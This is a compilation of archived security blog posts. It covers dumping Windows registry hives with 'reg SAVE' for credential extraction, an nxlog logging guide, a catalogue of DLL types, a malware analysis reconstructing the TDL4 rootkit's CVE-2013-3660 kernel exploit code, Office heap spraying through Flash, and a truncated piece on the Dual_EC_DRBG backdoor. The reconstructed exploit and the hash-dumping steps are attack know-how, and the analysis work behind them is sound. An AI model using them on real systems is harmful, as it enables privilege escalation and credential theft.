creddump to dump the LANMAN/NTLM hashes, view cached credentials, and decrypt
LSA secrets. All very useful pieces of data for a penetration test.  
  
The traditional way to obtain this information is by injecting a thread into
the LSASS.exe process, calling various undocumented Windows APIs, and
exporting the decrypted data back out. The problem with this method is that
process injection is not necessarily reliable, especially when third-party
security products interfere with the injection code. Any crash in the
LSASS.exe process will force the OS to halt or reboot, which is far from
stealthy and generally not what you want have happen to a client's domain
controller during a penetration test. The injection method is implemented by
pwdump, fgcache, cachedump, and the "hashdump" command in the Metasploit
Meterpreter payload.  
  
Since imitation is the sincerest form of flattery, I looked into how WinScanX
implemented the registry hive export. Using the Remote Registry service over
SMB/DCERPC, WinScanX calls the Save function, instructing the service to write
an exported copy of the hive to the file system. WinScanX then downloads the
hive using the ADMIN$ SMB share. This is a clean way to obtain the hive data,
but newer versions of Windows disable the Remote Registry service by default,
requiring the user to first enable it, then dump the hive, then disable it
again. I would not be surprised if future versions of WinScanX implement this
method.  
  
In the context of Metasploit, we have the advantage of direct code execution
on the target system, either through an exploit, or using psexec and a valid
set of credentials. Instead of going through the Remote Registry service, it
might be easier to run a local command in order to grab the registry hive. The
command of choice for this is "reg.exe", included with Windows XP and all
newer versions of the Windows operating system \(missing from NT 4.0 and
Windows 2000, but available as a separate download from Microsoft\).  
  
The "reg EXPORT" command can be used to take a copy of a specific piece of the
registry; the EXPORT option generates human-readable output files that are
easy to parse and can be imported into a new system for testing. Metasploit
already uses "reg EXPORT" in various Meterpreter scripts, including
"scraper.rb" and "winenum.rb". For capturing the HKLM\SYSTEM and HKLM\SAM
hives, the EXPORT command works just fine, albeit the output files can get
enormous. Trying to EXPORT the HKLM\SECURITY key \(as Administrator\),
however, results in the following error:  
  
C:\>**reg EXPORT HKLM\SECURITY security.reg**  
ERROR: Access is denied.  
  
The SECURITY tree is required to dump cached credentials and LSA secrets \(but
not password hashes\) and without it, we would be missing two important pieces
of data. Going back to WinScanX, we see that it uses the Save function, and
reg.exe offers a SAVE command, lets try that instead of EXPORT:  
  
C:\>**reg SAVE HKLM\SECURITY security.hive**  
The operation completed successfully.  
  
Hoorah\! Even though the Administrator user does not have permission to read
the HKLM\SECURITY key, reg.exe bypasses this restriction through the SAVE
command. WinScanX uses the Save function call in the Remote Registry service,
which likely calls the same backend function as reg.exe in this case. It looks
like we have an easy way to grab the SECURITY hive from the command-line. This
doesn't turn out to be quite the case, since this behavior changes depending
on the version of Windows.  
  
Edi Strosar came up with the following table based on his testing:  
  
Windows 2000 SP4 \(admin\) = access denied  
Windows XP SP2 \(admin\) = access denied  
Windows XP SP3 \(admin\) = access denied  
Windows 2003 R2 SP2 \(admin\) = works  
Windows Vista SP2 \(UAC/admin\) = works  
Windows 2008 SP1 \(admin\) = works  
Windows 7 \(UAC/admin\) = works  
  
This is an odd case of older versions of Windows actually having tighter
restrictions than newer ones. Even though Windows 2000/XP don't exhibit this
behavior, these platforms have the Remote Registry service enabled by default,
so WinScanX can be used to grab the SECURITY hive anyways.  
  
Keep in mind that using the raw hive file requires a tool that understands the
raw registry format \(Cain and Abel / creddump\). In order for Metasploit to
have support for cached credentials and LSA secrets, we will need to implement
a registry parser in Ruby \(creddump may be a good reference implementation\).
In the short-term, we can reimplement Meterpreter's "hashdump" to be purely
registry-based. This will requireSYSKEY code to be implemented, but this
should be immediately feasible based on public documentation and the Ruby
OpenSSL extension.  
  
Thanks to Edi Strosar, Carlos Perez, and Mario Vilas for their feedback on the
reg.exe SAVE issue.  
  
-HD
  

# Sending Windows Event Logs to Logstash / Elasticsearch / Kibana with nxlog »
Raging Computer

**Created:**| _7/1/2014 6:30:58 PM_  
---|---  
**Updated:**| _7/1/2014 6:30:58 PM_  
**Author:**| __  
**Tags:**| _iDS/iPS siem event-corelation log-management_  
  

# Sending Windows Event Logs to Logstash

Part 3 of 4 – Part 1 – Part 2 – Part 4  
This is a continuation of http://www.ragingcomputer.com/2014/02/logstash-
elasticsearch-kibana-for-windows-event-logs

Again, I took a lot of inspiration from
http://sysxfit.com/blog/2013/07/18/logging-with-logstash-part-3/

The nxlog reference manual is surprisingly well written with excellent
examples.  
http://nxlog.org/nxlog-docs/en/nxlog-reference-manual.pdf

Loggly has some examples I found useful, even if I’m not using their service.  
http://community.loggly.com/customer/portal/articles/1266344-nxlog-windows-
configuration  
https://www.loggly.com/docs/logging-from-windows/

There are other options.  
http://www.canopsis.org/2013/05/windows-eventlog-snare-logstash/  
http://docs.fluentd.org/articles/windows  
http://cookbook.logstash.net/recipes/log-shippers/  
http://cookbook.logstash.net/recipes/windows-service/  
  
**INSTALL NXLOG**  
Download and run the windows installer. This is a very fast install.  
http://sourceforge.net/projects/nxlog-ce/files/

Edit your nxlog.conf. Its location will depend on your OS.

32bit OS

| `C:\Program Files\nxlog\conf\nxlog.conf`  
---|---  
64bit OS

| `C:\Program Files (x86)\nxlog\conf\nxlog.conf`  
---|---  
Note: You will need to modify the Define ROOT depending on 32bit or 64bit
install.  
Note: You will need to modify the input eventlog section depending on windows
version.  
Note: You will need to modify Host in the Output section to the IP address or
hostname of you logstash computer.

| `## Please set the ROOT to the folder your nxlog was installed into,``##
otherwise it will not start.``#define ROOT C:\Program Files\nxlog``define ROOT
C:\Program Files (x86)\nxlog``Moduledir %ROOT%\modules``CacheDir
%ROOT%\data``Pidfile %ROOT%\data\nxlog.pid``SpoolDir %ROOT%\data``LogFile
%ROOT%\data\nxlog.log``<Extension json>``Module xm_json``</Extension>``# Nxlog
internal logs``<Input internal>``Module im_internal``Exec $EventReceivedTime =
integer($EventReceivedTime) / 1000000; to_json();``</Input>``# Windows Event
Log``<Input eventlog>``# Uncomment im_msvistalog for Windows Vista/2008 and
later ``Module im_msvistalog``# Uncomment im_mseventlog for Windows
XP/2000/2003``# Module im_mseventlog``Exec $EventReceivedTime =
integer($EventReceivedTime) / 1000000; to_json();``</Input>``<Output
out>``Module om_tcp``Host 192.168.1.126``Port 3515``</Output>``<Route 1>``Path
internal, eventlog => out``</Route>`  
---|---  
**START NXLOG SERVICE**

Finally, start the service. Either open computer management, open services,
find nxlog in the list and start or from an administrator command prompt

| `net start nxlog`  
---|---  
I’m kinda lazy and doing repetitive tasks by hand isn’t my cup of tea, so
since I had 20 identical machines to install this on, I whipped up this bat
file for installing it while I remotely connected for other maintenance.

install-nxlog.bat

| `@echo off``echo installing nxlog``msiexec /passive /i
"\\shareserver\sharename\path\to\nxlog\nxlog-ce-2.6.1131.msi"``echo copying
configuration``move "C:\Program Files\nxlog\conf\nxlog.conf" "C:\Program
Files\nxlog\conf\nxlog.conf.default"``copy
"\\shareserver\sharename\path\to\nxlog\nxlog.conf" "C:\Program
Files\nxlog\conf\nxlog.conf"``echo starting service``net start nxlog``echo
done`  
---|---

# Hexacorn | Blog
**Created:**| _9/27/2013 10:56:45 AM_  
---|---  
**Updated:**| _9/27/2013 10:56:45 AM_  
**Author:**| __  
**Tags:**| _windows environment DLL_  
  

# **H** exacorn | Blog****
The third part of the series \(Part 1 , Part2 \) is just a list of as many
types of DLL described on MSDN as I could find by quickly googling around**.**
I am pretty sure these are not all, but cover at least the most common
ones**.** If you see anything wrong, or missing, please let me know**.**
Thx**\!**

**Component Object Model \(COM\) DLL**

Provides COM functionality**.** These below are functions executed when you
run “regsrv32.exe” and “regsrv32.exe /u” and when programs communicate / use
the COM objects implemented via the DLL**.**

  * How to recognize? 
    * Subsystem: Windows
    * Typical file extension: DLL/OCX/VBX
    * Exported functions: 
      * DllGetClassObject  – Retrieves the class object from a DLL object handler or object application**.**
      * DllRegisterServer  \- Instructs an in-process server to create its registry entries for all classes supported in this server module**.**
      * DllUnregisterServer  \- Instructs an in-process server to remove only those entries created through DllRegisterServer**.**
      * DllCanUnloadNow  \- Determines whether the DLL that implements this function is in use**.** If not, the caller can unload the DLL from memory.
      * DllInstall  – Not required, but may be present**.**

**Kernel Mode DLL  
**

These are best described in a “classic” document entitled “DLLs in Kernel Mode
” written by Tim Roberts**.**

  * How to recognize? 
    * Subsystem: Native
    * Typical file extension: SYS/DLL
    * Exported functions: 
      * DllInitialize  \- The system calls a kernel-mode DLL’s DllInitialize routine immediately after the DLL is loaded**.**
      * DllUnload  -The system calls a kernel-mode DLL’s DllUnload routine before it unloads the DLL**.**

**Service DLL  
**

These are hosted by svchost**.** Another ‘classic; on the subject is a
document  written by Geoff Chappell’s**.**

  * How to recognize**?**
    * Subsystem: Windows
    * Typical file extension: DLL
    * Exported functions: 
      * ServiceMain  – The entry point for a service**.**
      * SvchostPushServiceGlobals  – this function does not need to be implemented, but if it is, it will be called before ServiceMain**.**

**Control Panel application DLL  
**

Anytime you open Control Panel and change the system settings you are running
a small applications called Control Panel Applets**.** They are implemented as
DLL**.** They can be controlled either via Rundll32/Control\_RunDLL  or
control.exe **.**

  * How to recognize**?**
    * Subsystem: Windows
    * Typical file extension: CPL
    * Exported functions: 
      * CPlApplet  – Serves as the entry point for a Control Panel application**.**

**Installable Drivers DLL  
**

Audio Compression Manager Drivers \(ACM\)**.**

  * How to recognize? 
    * Subsystem: Windows
    * Typical file extension: ACM, AX, DRV, DLL
    * Exported functions: 
      * DriverProc  \- Serves as the entry point for a Control Panel application**.**
      * AboutDialogProc – Occasionally may be found in the installable drivers, but not required**.** Handles messages from ‘About’ window.
      * ConfigureDialogProc – Occasionally may be found in the installable drivers, but not required**.** Handles messages from ‘Configure’ window.
      * DriverDialogProc – Occasionally may be found in the installable drivers, but not required**.** Handles messages from ‘Configure’ window \(alternative name\)**.**

**Audio Device Messages for MIDI**

These are same as installable driver DLLs, but have extra functions exported
to process the window messages \(some of them seem to be legacy and no longer
documented on MSDN\)**.**

  * How to recognize? 
    * Typical file extension: DRV, DLL
    * Exported functions: 
      * DriverProc  – Processes driver messages for the installable driver \(note: MSDN has at least two pages about DriverProc \)**.**
      * modMessage  – An entry-point function for musical instrument digital interface \(MIDI\) output drivers and for internal synthesizer drivers
      * modmCallback – An internal callback function provided to midi API that doesn’t need to be exported, but can be sometimes found**.**
      * wodMessage – Entry-point function for waveform output drivers**.**
      * widMessage – Entry-point function for waveform input drivers**.**
      * midMessage – Entry-point function for MIDI input drivers**.**
      * mxdMessage – Entry-point function for mixer drivers**.**
      * auxMessage- Entry-point function for auxiliary audio drivers**.**

**File Manager Extension**

This is a very old type of DLL – an extension to a File Manager**.**

  * How to recognize? 
    * Typical file extension: DLL
    * Exported functions: 
      * FMExtensionProc  – Called by the File Manager**.**

**NetShell helper DLL**

These support netsh.exe tool by providing a ‘coverage’ for a specific network
functionality**.** See details here **.**

  * How to recognize? 
    * Typical file extension: DLL
    * Exported functions: 
      * InitHelperDll  – Called by NetShell \(netsh.exe\) to perform an initial loading of a helper**.**

**Credential Manager DLL**

Called by Multiple Provider Router \(MPR\) and support Credential Manager
\(malware / hack tools can use it to sniff credentials\)**.** More details
here .

  * How to recognize? 
    * Typical file extension: DLL
    * Exported functions: 
      * NPLogonNotify  – Called when logon event occurs**.**
      * NPPasswordChangeNotify  – Called when password change event occurred**.**

**IIS Server Extension \(ISAPI filter\) DLL**

I mentioned ISAPI filters in my older post **.**

  * How to recognize? 
    * Typical file extension: DLL
    * Exported functions: 
      * GetExtensionVersion  – first entry-point function in IIS \(for registration\)
      * HttpExtensionProc  – main entry point for an ISAPI extension \(doing all the dirty work\)
      * TerminateExtension  – optional, unloads the ISAPI DLL

**Web Filter DLL**

Web filters detect and process HTTP request notifications**.** See MSDN  for
more details and information about what pairs of APIs listed below need to be
exported**.**

  * How to recognize? 
    * Typical file extension: DLL
    * Exported functions: 
      * GetFilterVersion  \- Called to register for event notifications**.**
      * HttpFilterProc  – Called whenever an event for which the filter has registered in the GetFilterVersion function occurs**.**
      * GetWPXFilterVersion  – Called to register for the event notifications that were introduced in ISA Server 2004**.**
      * HttpWPXFilterProc  – Called whenever an event for which the filter has registered in GetWPXFilterVersion occurs**.**
      * TerminateFilter  – Called to notify the filter that it will be removed from memory**.**
      * ReloadWPXFilterConfiguration  – Called to notify the filter that changes to the configuration of the ISA Server administration COM objects have been applied**.**

**RAS Administration DLL**

The RAS Administration DLL exports functions that the RAS server calls
whenever a user tries to connect or disconnect.See more details here **.**

  * How to recognize? 
    * Subsystem: Windows
    * Typical file extension: DLL
    * Exported functions \(not all must be implemented, see this MSDN article \): 
      * MprAdminAcceptNewLink  – Remote Access Service \(RAS\) calls the MprAdminAcceptNewLink function each time a link is created for a particular connection**.**
      * MprAdminInitializeDll  – Called when the Routing and Remote Access Service \(RRAS\) starts**.**
      * MprAdminLinkHangupNotification  – Called whenever a link for a particular connection is dismantled**.**
      * MprAdminTerminateDll  – Called when the RAS shuts down**.**
      * MprAdminAcceptNewConnection  – Remote Access Service calls this function each time a new user dials in and successfully completes RAS authentication
      * MprAdminConnectionHangupNotification  – Remote Access Service calls this function after the last link for the specified connection has been dismantled**.**
      * MprAdminAcceptNewConnection2  \- Remote Access Service calls this function each time a new user dials in and successfully completes RAS authentication
      * MprAdminConnectionHangupNotification2  – Remote Access Service calls this function after the last link for the specified connection has been dismantled**.**

**Winlogon GINA DLLs  
**

An ‘old -school’ \(old, because no longer available on Windows Server 2008 and
Windows Vista\); it was a replacement for GINA DLL \(another type of DLL that
was often used to sniff passwords\)

  * How to recognize**?**
    * Subsystem: Windows
    * Typical file extension: DLL
    * Exported functions: 
      * WlxActivateUserShell  – Activates the user shell program**.**
      * WlxDisplayLockedNotice  – Allows the GINA to display information about the lock, such as who locked the workstation and when it was locked**.**
      * WlxDisplaySASNotice  – Called when no user is logged on**.**
      * WlxDisplayStatusMessage  – Called when the GINA DLL should display a message**.**
      * WlxGetConsoleSwitchCredentials  – Called to read the currently logged on user’s credentials to transparently transfer them to a target session**.**
      * WlxGetStatusMessage  – Called to get the status message being displayed by the GINA DLL**.**
      * WlxInitialize  – Called once for each window station present on the computer**.** Currently, the operating system supports one window station per workstation**.**
      * WlxIsLockOk  – Called before attempting to lock the workstation**.**
      * WlxIsLogoffOk  – Called when the user initiates a logoff operation**.**
      * WlxLoggedOnSAS  – Called when it receives a secure attention sequence \(SAS\) event while the user is logged on and the workstation is not locked**.**
      * WlxLoggedOutSAS  – Called when it receives a secure attention sequence \(SAS\) event while no user is logged on**.**
      * WlxLogoff  – Called to notify the GINA of a logoff operation on this workstation, allowing the GINA to perform any logoff operations that may be required**.**
      * WlxNegotiate  – The WlxNegotiate function must be implemented by a replacement GINA DLL**.** This is the first call made by Winlogon to the GINA DLL**.** WlxNegotiate allows the GINA to verify that it supports the installedversion of Winlogon**.**
      * WlxNetworkProviderLoad  – Called to collect valid authentication and identification information**.**
      * WlxRemoveStatusMessage  – Called to tell the GINA DLL to stop displaying the status message**.**
      * WlxScreenSaverNotify  – Called immediately before a screen saver is activated, allowing the GINA to interact with the screen saver program**.**
      * WlxShutdown  – Called just before shutting down, allowing the GINA to perform any shutdown tasks, such as ejecting a smart card from a reader**.**
      * WlxStartApplication  – Called when the system needs an application to be started in the context of the user**.**
      * WlxWkstaLockedSAS  – Called when it receives a secure attention sequence \(SAS\) and the workstation is locked**.**

**Resource DLL**

The Resource DLL functions allow the Cluster service to manage resources
indirectly through a Resource Monitor and a resource DLL**.** See more on MSDN
.

  * How to recognize**?**
    * Subsystem: Windows
    * Typical file extension: DLL
    * Exported functions: 
      * Arbitrate  – Allows a node to attempt to regain ownership of a quorum resource**.**
      * Close  – Removes a resource instance from the cluster**.**
      * IsAlive  – Determines if a resource is actually operational**.**
      * LooksAlive  – Determines if a resource appears to be available for use**.**
      * Offline  – Performs a graceful shutdown of the resource**.**
      * Online  – Starts the resource and makes it available to the cluster**.**
      * Open  – Creates a new resource instance**.**
      * Release  – Releases a quorum resource from arbitration**.**
      * ResourceControl  – Supports resource control codes**.**
      * ResourceTypeControl  – Supports resource type control codes**.**
      * Startup  – Receives the LogEvent and SetResourceStatus callbacks and returns a function table**.**
      * Terminate  – Performs an immediate shutdown of the resource..

**MAPI Service Provider DLL**

These extend MAPI functionality**.** See more details here .

  * How to recognize**?**
    * Subsystem: Windows
    * Typical file extension: DLL
    * Exported functions:
    * MSProviderInit  – Implemented by Message store providers**.**
    * XPProviderInit  – Implemented by Transport providers**.**
    * ABProviderInit  – Implemented by Address book providers**.**

**WinRT Component DLLs**

This is a relatively new type of DLL that is being used by Metro applications
under Windows 8**.**

  * How to recognize? 
    * Subsystem: Windows
    * Typical file extension: DLL
    * Exported functions: 
      * DllGetActivationFactory  – Retrieves the activation factory from a DLL that contains activatable Windows Runtimeclasses**.** A very enigmatic sounding description means that the DLL implements widgets for Metro**.**

****

# The latest TDL4 and CVE-2013-3660 exploit enhancements | Bromium Labs
**Created:**| _10/30/2013 2:06:10 PM_  
---|---  
**Updated:**| _10/30/2013 2:06:10 PM_  
**Author:**| __  
**Tags:**| __  
  

# **T** he latest TDL4 and CVE-2013-3660 exploit enhancements****

As a wise man once said, there’s never a dull moment in the security
industry**.** As the world was talking about the recent IE zero day  which was
doing its rounds, we encountered a variant of the infamous TDL4 rootkit \(MD5
= 0e35e0e63fc208873792dd0b7afa90e7\) that was rumored to be using kernel
exploit code available publicly earlier this year**.** We would like to
reiterate that earlier at Bromium Labs we had warned that kernel exploits are
a huge problem  for lot of security products**.**

We reverse engineered and extracted the exploit code from the TDL4 malware
sample – to our surprise, we discovered that the public assumption is not
entirely true**.** There are some crucial differences between the public code
and the TDL4 version**.** Unlike its public counterpart this exploit takes
advantage of the CVE-2013-3660 vulnerability in a more straightforward
manner**.** Before diving into the article, it is recommended to read the
detailed analysis of the vulnerability  and familiarize you with the public
exploit code**.**

Now let’s get through the exploitation steps used in the TDL4 sample**.** We
restored the source code of the exploit and when applicable, named the
variables after its counterparts in the public exploit**.**

Before actual exploitation the TDL4 exploit resolves the necessary routines
and addresses such as NtQueryIntervalProfile and HalDispatchTable**.** In
order to trigger the payload the exploit requires a chunk of data that has
both a valid memory address and a pointer**.** TDL4 authors used the same
trick as the public exploit, but changed the opcodes a little bit \(further
this routine is referenced as DispatchRedirect\):

[code]

    jmp dword ptr [ebp+0x40]
    inc eax
    jmp dword ptr [ebp+0x40]
    inc ecx
    jmp dword ptr [ebp+0x40]
    inc edx
    jmp dword ptr [ebp+0x40]
    inc ebx
    jmp dword ptr [ebp+0x40]
    inc esi
    …
[/code]

This sequence of instructions can be represented as an array of 4-byte
numbers: 0x404065FF, 0x414065FF, 0x424064FF etc**.** The exploit then makes
the first doubleword a legit pointer by calling VirtualAlloc:

| `VirtualAlloc((*DispatchRedirect)&0xFFFFF000,``0x2000,``MEM_COMMIT | MEM_RESERVE,``PAGE_EXECUTE_READWRITE);`  
---|---  
This commits the memory starting at 0×40400000 making an opcode sequence 0xFF
0×65 0×40 0×40 a valid pointer**.** After it’s done, the exploit sets up three
instances of the PATHRECORD structures**.** This is the main difference from
the public exploit code:

| `ExploitRecordExit = (PPATHRECORD)
*DispatchRedirect;``ExploitRecordExit->next = NULL;``ExploitRecordExit->prev =
NULL;``ExploitRecordExit->flags = 1;``ExploitRecordExit->count =
0;``ExploitRecord.next = ExploitRecordExit;``ExploitRecord.prev =
(PPATHRECORD) &HalDispatchTable[1];``ExploitRecord.flags =
0x11;``ExploitRecord.count = 4;``PathRecord = VirtualAlloc(NULL,
0x30,``MEM_COMMIT|MEM_RESERVE,``PAGE_EXECUTE_READWRITE);``memset``(PathRecord,
0x90, 0x30);``PathRecord->next = &ExploitRecord;``PathRecord->prev =
NULL;``PathRecord->flags = 0;`  
---|---  
At this point we have the following layout:

<img src='img/Temp2_8355.png' alt='Layout of PATHRECORD structures' />

The PATHRECORD instances are organized in such a manner that when the
vulnerability is triggered nt**\!** HalDispatchTable+0×4 will be patched by
the address of ExploitRecordExit**.** Let’s look at the details of the
vulnerability. If we put a write breakpoint on HalDispatchTable\[1\], the
program will pause in the middle of pprFlattenRec:

[code]

    kd> ba w 1 nt**!** HalDispatchTable+0x4
    kd> g
    Breakpoint 0 hit win32k**!** EPATHOBJ::pprFlattenRec+0x60
[/code]

Tracing back the program workflow we can see, that pprFlattenRec creates new
PATHRECORD using win32k**\!** EPATHOBJ::newpathrec and moves it to ESI. The
ExploitRecord \(that we controlled\) is placed at EDI:

[code]

    …
    mov esi,dword ptr [ebp-4] ; ESI = NewPathRec
    … 
    mov edi,dword ptr [ebp+8] ; EDI = ExploitRecord
    mov eax,dword ptr [edi+4] ; EAX = ExploitRecord.prev
    mov dword ptr [esi+4],eax ; NewPathRec.prev = ExploitRecord.prev
    …
[/code]

After some manipulation with count and flags members the following code is
executed:

[code]

    …
    mov eax, dword ptr [esi+4] ;; EAX = HalDispatchTable+4
    mov dword ptr [eax],esi ;; **Patch HalDispatchTable+4**!****
    …
[/code]

At this point we have HalDispatchTable+4 containing address of NewPathRec**.**
The next pointer is initialized to zero here and later in the function it
receives the next pointer of ExploitRecord, i.e. ExploitRecordExit:

[code]

    …
    mov edi, dword ptr[edi] ; EDI points at ExploitRecordExit.next
    mov dword ptr[esi], edi ; NewPathRec.next = 0x404065FF
    …
[/code]

So HalDispatchTable+4 points at the valid sequence of opcodes**.** This
conditions allows us to trigger the shellcode by calling
NtQueryIntervalProfile , which at some point calls nt**\!** HalDispatchTable+4
**.**

Now let’s look at how the vulnerability condition is triggered**.** Similar to
the public exploit, the TDL variant generates a huge number of Point objects:

| `for``(PointNum = 0; PointNum < 0x7C80;
PointNum++)``{``Points[PointNum]**.** x =
(``ULONG``)(PathRecord)>>4;``Points[PointNum]**.** y =
(``ULONG``)(PathRecord)>>4;``PointTypes[PointNum] = 4;``}`  
---|---  
Next, it enters the 5-step loop, where the actual exploitation occurs**.**
First, it draws the curves using the Points array and creates a compatible
device context:

| `if``(hdc == NULL)``{``BeginPath(Device);``PolyDraw(Device, Points,
PointTypes, 0x1F2);``EndPath(Device);``BeginPath(Device);``PolyDraw(Device,
Points, PointTypes, 0x1E3);``EndPath(Device);``hdc =
CreateCompatibleDC(Device);``}`  
---|---  
Now the curves are drawn, it calls the vulnerable function FlattenPath**.**
But before that it creates some memory pressure \(calling CauseFailure\(\)\)
and then cleans up the created objects**.**

| `BeginPath(hdc);``if``( **!** PolyDraw(hdc, Points, PointTypes, PointNum*0x1F2) )``{``EndPath(hdc);``}``else``{``EndPath(hdc);``CauseFailure();``FlattenPath(Device);``Cleanup();``FlattenPath(Device);``lpAddress = VirtualAlloc(NULL, 5,``MEM_COMMIT | MEM_RESERVE,``PAGE_EXECUTE_READWRITE);``*lpAddress = 0xE9;``*(``DWORD` `*)(lpAddress+1) = (``DWORD``)(ShellCode) - (``DWORD``)(lpAddress) - 5;``NtQueryIntervalProfile(2, (``PULONG``)lpAddress);``VirtualFree(lpAddress, 0, 0x8000);``if``(Finished)``break``;``DeleteDC(hdc);``hdc = NULL;``Sleep(0x64)``}`  
---|---  
The lpAddress variable is a buffer which is used as a trampoline to jump to
the shellcode**.** It writes 0xE9 followed by \[ShellCodeAddress – lpAddress –
5\], which is “jmp ShellCode” instruction**.** The shellcode execution is
triggered using NtQueryIntervalProfile**.** At this moment the
nt\!HalDispatchTable+0×4 points at 0x404065FF, which, translated to processor
instructions, gives us jmp \[ebp+0x40\], inc eax**.** The jump leads to the
shellcode trampoline, which, on its turn launches the actual shellcode**.**

The CauseFailure function repetitively calls CreateCompatibleBitmap for the
in-memory device context**.** RegionSize is a global variable initialized to
0.

| `void` `CauseFailure()``{``HDC` `hdc;``int` `Size;``NumRegion = 0;``hdc =
CreateCompatibleDC(NULL);``for``(Size=0x400000; Size;
Size>>=2)``{``while``(Regions[NumRegion] = CreateCompatibleBitmap(hdc, Size,
Size))``{``NumRegion++;``if``(NumRegion>=RegionSize)``{``RegionSize*=2;``Regions
= ``realloc``(Regions, RegionSize*4);``}``}``}``}`  
---|---  
Then Cleanup simply removes all the objects created:

| `void`
`Cleanup()``{``while``(NumRegion--)``{``DeleteObject(Regions[NumRegion]);``}``}`  
---|---  
Altogether it provides a remarkably stable way to run the payload from kernel
space**.** We observed almost 100% stability on Windows 7+ of this exploit,
however sometimes crashes are possible, especially in the case of repetitive
uses**.** The TDL4 sample makes 2 attempts to exploit the system, but in most
cases one is enough**.**

In short, this version of CVE-2013-3660 exploit embedded in TDL is far more
lethal than the public exploit code and further exploitation of this issue is
likely**.**

### Like this**** :

****

# BINARY INSTRUMENTATION FOR SECURITY PROFESSIONALS

**Created:**| _5/31/2017 6:06:01 PM_  
---|---  
**Updated:**| _5/31/2017 6:16:32 PM_  
**Author:**| __  
**Tags:**| _binary instrumentation pdf_  
  

  
<img src='img/BH_US_11_Diskin_Binary_Instrumentation_Slides.pdf' />  

# Flash Mob: Spraying the Heap | Fortinet FortiGuard Blog
**Created:**| _12/22/2009 11:21:14 AM_  
---|---  
**Updated:**| _12/22/2009 11:21:24 AM_  
**Author:**| __  
**Tags:**| _web-app-sec Exploit_  
  

# Flash Mob: Spraying the Heap

by **Bing Liu**  
November 2, 2009 at 10:37 am

Heap Spraying is a technique that can effectively increase the reliability of
flaw exploitation code \(aka “exploits”\) on various OS, and in many cases, go
as far as enabling an exploit that would practically not “work” otherwise. It
contributed tremendously to the popularity of exploits targeting Web browsers
over the last years. As a matter of fact, it ended bothering Microsoft to the
extent a protection against Heap Spraying was introduced in IE8.  
  
Besides Internet Explorer, Microsoft Office is also a privileged target of
vulnerabilities researchers, and as such, present a myriad of public flaws –
especially concerning the compound file format document. Yet, it seems that
exploits targeting MS Office are not anywhere as popular or common as those
aiming at IE.  

This is most likely because exploit code for Microsoft Office is much harder
to develop. Indeed, for IE, the “control vector” has been standardized over
time: code for heap spraying can be reused, and in effect, numerous exploit
developers just copy and paste Heap Spraying code from previously available
exploits. And once the Heap Spraying is done, a jump to supposedly invalid
memory triggered by bogus input fed to the browser has a high chance of
landing in the shellcode \(actually, in a NOP slide leading right to it\).  

But for Microsoft Office, say for instance in the context of an Excel
vulnerability, the shellcode must sit in the file record and the exploit
developer has to find a way to transfer the execution flow to its precise
location in the memory, rather than just forcing a random jump. Now, if we can
spray the heap in Microsoft Office, the shellcode will virtually reside
“everywhere” in memory. Thus turning a possible flaw into a reliably
exploitable vulnerability becomes considerably easier. So… how can we spray
the heap in MS Office?  
  
In July 2009, Julia Wolf at FireEye Malware Intelligence Lab found an exploit
that uses ActionScript to spray the heap in Adobe Flash. So, theoretically, if
we embed such a flash in an Office document, we should be able to spray the
heap just as good, shouldn’t we? In any case, it is certainly worth a try…  

Following is my experimental environment:

  * OS: Windows XP SP3  

  * Microsoft Office: 2003 professional  

  * Flash player: 10.0.32.18  

First, we need to create a heap-spraying flash. That is easy now with
ActionScript \(see here and there\).  
  
Then, we need to embed this flash into an Office document. Excel probably
being the most vulnerable MS Office application, let’s resort to an Excel
document for the sake of the experiment.  

Finally, we set the security \(Tools->Macro\) to “very high” in Excel 2003 and
open the Excel document… As can be seen on the figure below, the document
opens fine without even a warning box.

<img src='img/Temp2_3241.png' alt='heapsprayone' />

Let’s check the process memory with Ollydbg. As can be seen in the following
figure, multiple Virtual Address Buffers of size 0×10001000 containing our NOP
slides + shellcode cocktails were effectively allocated all over the heap.

<img src='img/Temp2_3242.png' width='515' height='366' alt='heapspraytwo' />

This means that no matter how high the security is set to, exploits developers
can now spray the heap of Microsoft Office.  

It can be noted that if there are both Macros and flash in the Excel document,
exploit reliability diminishes; indeed, the ActionScript code will be disabled
along with Macros \(if the user has chosen to disable Macros, of course\).  

We’ve also tried to open this document with Excel 2007 under Windows Vista.
The heap spraying still works.  

To put it in a nutshell, with ActionScript in flash, attackers have all the
tools in their hands to develop workable exploits for Microsoft Office
vulnerabilies. It may therefore be a good time to review your defense policies
regarding Office documents… Are they scanned for malware on your Mail server?
Are your end-users who’ll open them super-users of their desktop machines? Is
your Gateway configured to block outbound access to the malware pieces
\(trojans, keyloggers, password stealers, sniffers\) meant to be fetched upon
embedded shellcode execution? When your users bring their work laptop home,
are they still protected there?

_Note: In accordance to our responsible disclosure policies, Microsoft was
officially notified. No fix will ensue._

**Guillaume Lovet contributed to this report**

# How the NSA cheated cryptography

**Created:**| _9/25/2013 10:43:26 AM_  
---|---  
**Updated:**| _9/26/2013 10:16:40 AM_  
**Author:**| __  
**Tags:**| _crypto LOLZ backdoor_  
  

# **H** ow the NSA cheated cryptography****

If you're new here, you may want to subscribe to the RSS feed , like us on
Facebook , or sign-up for the free email newsletter which contains computer
security advice, news, hints and tips**.** Thanks for visiting**\!**  

Of all the revelations made by Edward Snowden, I find the recent one about
Dual\_EC\_DRBG definitely the most intriguing and possibly the most shocking –
even if it wasn’t really news**.**

It intrigues me because it is about elliptic curves**.** I love elliptic
curves. I studied them quite extensively when I worked as a mathematician and
although I don’t use them anymore, I still feel a fondness for them**.**  

But more importantly, it intrigues me because initially I didn’t realise what
had really happened – and judging from comments and articles I’ve seen, I
wasn’t the only one**.**

The NSA didn’t weaken a crypto standard**.** Rather, it put a backdoor inside
the standard. There’s an important difference**.** As a consequence, if you
use Dual\_EC\_DRBG, you’re still well-protected if the adversary you’re
defending against isn’t the NSA**.** But if it is, you’re pretty much
stuffed**.**

Dual\_EC\_DRBG is a pseudorandom number generator \(or deterministic random
bit generator; hence the name\)**.** It is one of four of its kind that were
defined in the 2006 NIST standard SP 800-90A \[PDF\]**.** The standard was
written with the help of some people at the NSA**.**

As we now know1, the NSA effectively wrote the standard**.**

<img src='img/Temp2_4070.png' alt='Well, this is awkward..' />

Well, this is awkward..

Randomness is an essential part of any crypto system**.** It is also where
many crypto systems have weaknesses, so if you’re implementing cryptography,
it makes sense to use a standard provided by a reputable organisation like
NIST**.**

What pseudorandom number generators do is turn a small ‘seed’ of proper random
data into a constant stream of random numbers, which enables you to get such a
number with arbitrarily high entropy**.**

Entropy is usually defined as a way to measure randomness, but here \(and
possibly in general\) it is best to see it as a way to measure surprise to an
